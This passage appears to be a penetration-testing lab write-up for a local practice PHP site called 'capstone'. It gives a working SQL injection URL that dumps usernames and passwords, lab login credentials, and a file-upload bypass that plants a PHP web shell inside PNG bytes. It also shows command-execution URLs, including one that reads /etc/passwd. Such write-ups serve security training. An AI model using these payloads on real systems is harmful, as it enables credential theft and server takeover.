  • With the correct table and column names, you can extract sensitive data such as usernames and passwords: http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20FROM%20users--%20-

Insecure File Upload

  • Use the credentials jeremy:captain1 to log in.
  • After logging in, navigate to the admin panel via: http://localhost/capstone/admin/admin.php.
  • Start by making a normal POST request to upload a PNG file. Once the upload is complete, send this request to Burp Suite's repeater for further inspection.
  • Text files are rejected by the upload filter.
  • In your POST request, change the file format to PHP, copy the system payload at the end of the first line of your PNG bytes.
  • Once the file is uploaded, go to the new post and copy the image path.
  • To execute commands on the server, change the file's extension from .png to .php and append your command in the URL: http://localhost/capstone/assets/11.php?cmd=whoami
  • You can also try extracting sensitive files with: http://localhost/capstone/assets/11.php?cmd=cat%20/etc/passwd

Authentication

  • The application allows users to sign up and log in without providing a username or password, indicating a critical flaw in the authentication process.